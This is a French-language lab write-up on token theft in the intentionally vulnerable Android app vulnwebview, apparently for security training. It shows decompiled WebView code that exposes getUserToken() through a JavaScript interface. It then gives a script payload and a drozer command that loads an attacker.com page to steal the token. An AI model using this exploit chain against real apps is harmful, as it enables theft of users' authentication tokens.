Vol de token

Reconnaissance

Code vulnรฉrable

   public void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview2);
        webView.setWebChromeClient(new WebChromeClient());
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setJavaScriptEnabled(true);
        Map<String, String> extraHeaders = new HashMap<>();
        extraHeaders.put("Authorization", getUserToken());
        webView.addJavascriptInterface(new WebAppInterface(this), "Android");
        webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
    }

Dรฉclaration de l'interface

package com.tmh.vulnwebview;

import android.content.Context;
import android.webkit.JavascriptInterface;

/* loaded from: classes.dex */
public class WebAppInterface {
    Context mContext;

    /* JADX INFO: Access modifiers changed from: package-private */
    public WebAppInterface(Context c) {
        this.mContext = c;
    }

    @JavascriptInterface
    public String getUserToken() {
        return SupportWebView.getUserToken();
    }
}

Cette vulnรฉrabilitรฉ est en fait liรฉ ร  celle vue prรฉcรจdemment. En effet, on peut voir que le javascript a prรฉalablement รฉtรฉ activรฉ via la commande webView.getSettings().setJavaScriptEnabled(true); (ligne 5), qu'un header "Authorization" est gรฉnรฉrรฉ avec le token de l'utilisateur (ligne 7) puis qu'une interface nommรฉe "Android" a รฉtรฉ ajoutรฉ (ligne 8).

Enfin, on constate que la clรฉ "support_url" est utilisรฉe pour accรฉder ร  la page de support, page de support ayant dans ses en-tรชtes le token ร  voler.

Exploitation

Tout comme pour la RXSS vue prรฉcรจdemment, il nous est possible d'injecter du code javascript dans la fonction. Il nous est donc possible de crรฉer un simple script pour rรฉcupรฉrer le token en appelant la fonction "getUserToken()" qui est utilisรฉe dans la dรฉclaration de l'interface du code vunรฉrable.

Charge utile

<script>
document.write("token: " + Android.getUserToken());
</script>

Etapes

  • Crรฉation de la charge utile .html

  • Hรฉgergement sur le serveur web attaquant

  • Commande drozer

dz> run app.activity.start --component com.tmh.vulnwebview com.tmh.vulnwebview.SupportWebView --extra string support_url "https://attacker.com/tokenstealer.html"

Derniรจre mise ร  jour